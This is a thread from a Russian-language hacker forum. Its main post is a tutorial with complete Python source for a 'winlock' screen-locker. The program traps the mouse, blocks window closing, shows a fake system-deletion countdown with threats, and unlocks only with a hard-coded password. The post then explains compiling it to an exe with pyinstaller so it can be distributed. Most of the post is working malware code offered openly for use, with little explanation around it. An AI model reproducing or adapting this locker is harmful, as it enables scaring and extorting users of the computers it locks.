• Начинающий хакер, спасибо что зашёл к нам! Для полного удобства рекомендуем Вам сразу же зарегистрироваться. Помните, необходимо придумать сложный пароль к своему логину, в котором будут присутствовать цифры, а так же символы. После регистрации вы сможете пользоваться чатом. Так же не забудьте активировать аккаунт через письмо, высланное вам на почту ! Администрация заботится о каждом из Вас...
  • Для просмотра разделов из категории Private Informations & Programms необходимо купить

Winlock на Python

Статус
В этой теме нельзя размещать новые ответы.

Stupid Developer

Гость
S

Stupid Developer

Гость
В данной статье мы рассмотрим как написать винлок на Python'e.
Для него нам понадобятся 3 библиотеки:
  • pygame
  • pyautogui
  • tkinter
Импортируем эти 3 библиотеки:
Python:
import pyautogui
import pygame
from tkinter import *
Задаём нужные нам переменные:
Python:
reading = '' #переменная в которую пользователь будет вводить пароль
password = 'hhide' #переменная в которой храниться правильный пароль, в нашем случае это "hhide"
time = 7200 # счётчик времени, в основном для красоты :)
delete = 'Удаление системы...' #текст который присваивается этой переменной будет отображаться по истечению счётчика
Создаём функцию, благодаря которой наш экран будет блокироваться:
Python:
def block(): #создаём функцию, благодаря которой будет блокироваться мышь
    pyautogui.click(x=675, y=405)#благодаря циклу который мы напишем позже мышь будет кликать в данной позиции на экране
    pyautogui.moveTo(x=675, y=405)#так же благодаря циклу, мышь будет постоянно находиться в данной позиции
    screen.protocol("WM_DELETE_WINDOW",block)#блокируем комбинации клавиш alf+f4, fn+f4, f4
    screen.update()#обновление нашего окна
Теперь создадим функцию, которая будет проверять наш пароль на валидность:
Python:
def password_check(event):#создаём функцию, которая проверяет пароль на валидность
    global reading#объявляем глобальную переменную - reading
    reading = field.get()#присваиваем переменной значение: field - так будет называться наше окно ввода пароля, .get - считывание из этого поля информации, тоесть пароля
    if reading == password:#если в поле ввели правильный пароль, который указан в нашей переменной password, то наш винлокер выключается
        screen.destroy()#закрытие нашего окна винлока
Создадим наше основное окно винлока, присвоим ей нужные нам объекты и расположим их в нужном нам месте:
Python:
screen = Tk()#создаем главное окно
screen.title('Windows locked. by HHIDE.org')#задаём название нашему окну
screen.attributes('-fullscreen', True)#Задаём аттрибут окна - fullscreen(полный экран)
screen.configure(backgroun = '#1c1c1c')#задаём фон нашего главного окна
pyautogui.FAILSAFE = False#отключаем остановку работы библиотеки pyautogui, если пользователь дёргает мышью(если не отключать, библиотека прекратит свою работу)

field = Entry(screen,fg = "green",justify=CENTER)#создаём поле ввода, которое присваивается к главному окну - screen, цвет текста - зелёный, располагается по центру
but = Button(screen,text = "Разблокировать")#создаём кнопку
text0 = Label(screen,text = "Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c")#создём надпись
text = Label(screen,text = "Stupid Developer HHIDE.org",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c")#ещё одна надпись
text1 = Label(screen,text = "Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c")#и ещё одна надпись, для запугивания
l = Label(text = time,font = "Arial 22",fg="red",bg="#1c1c1c")#та же самая надпись, только здесь будет тот самый счётчик, который мы создали ранее
l1 = Label(text = "До удаления системы осталось: ",fg="white",bg="#1c1c1c",font="Arial 15")#обычная надпись, располагается рядом с нашим счётчиком

but.bind('<Button-1>',password_check)#при нажатии кнопки она вызывает функцию проверки пароля

text.place(x=380,y=180)#указываем координаты наших ранее созданных объектов
field.place(width=150,height=50,x=600,y=300)#здесь тоже
but.place(width=150,height=50,x=600,y=380)#и здесь
text0.place(x=410,y=100)#да-да, и здесь
text1.place(x=410,y=250)#и тут
l1.place(x=20,y=70)#и тут тоже
l.place(x=20,y=100)#а ещё вот тут
Теперь нам нужно обновить экран и сделать клик по нашей кнопке:
Python:
screen.update()#обновление нашего главного окна
pyautogui.click(x=675,y=325)#клик в координатах x y
pyautogui.moveTo(x=660,y=410)#перемещение мышки в х у
А теперь создадим цикл, благодаря которому наш винлокер не будет закрываться, до тех пор, пока пользователь не введёт верный пароль:
Python:
while reading!=password:#тот самый цикл, о котором я говорил ранее. Пока наше текстовое поле не будет равно password, он будет выполняться
    l.configure(text=time)
    screen.after(300)#задержка в 300 мсек
    if time==0:#если счётчик дошёл до 0:
        time=delete#то вместо счётчика появляется та самая надпись, которую мы указали в переменной delete
    if time!=delete:#если счётчик не равен той надписи, которую мы указали в delete:
        time=time-1#то от счётчика будет отниматься по единице, тоесть он будет тикать0)0))
    block()#вызываем функцию, которую мы указали в самом начале, для блокировки экрана
Вот и всё. Наш Winlock готов, осталось скомпилить его в exe файл, чтобы его можно было распространять.
Для этого нам нужна библиотека pyinstaller
Установка библиотеки:
Код:
pip install pyinstaller
Данную команду нужно ввести в cmd
После чего нам нужно перейти в папку с самим винлоком и ввести такую команду:
Код:
pyinstaller -F lock.py
Флаги, которые можно использовать при компиляции:
-F - компилит всё в один файл
-i - если мы хотим сделать наш файл с нашей иконкой
-w - блочит консоль( в нашем случае нам она не нужна)

Исходники: туть
Уже скомпиленный файл(запускайте на свой страх и риск): туть

Есть еще парочка тем, которые я мог бы сюда написать(не моих), на нашем форуме я их ещё не видел. Если кому интересно отпишитесь, я продолжу;)



P.S. Данную тему я скопипастил, но т.к. на нашем форуме я её не наблюдал, решил залить её сюда. Код писал свой, не копировал с другого источника!
 

aranea

Гость
A

aranea

Гость
вот и достаточно хорошая тема ))
 
Статус
В этой теме нельзя размещать новые ответы.

Похожие темы

J
Ответы
2
Просмотры
98
Stupid Developer
S
A
Ответы
0
Просмотры
136
A
S
Ответы
0
Просмотры
128
S
Сверху Снизу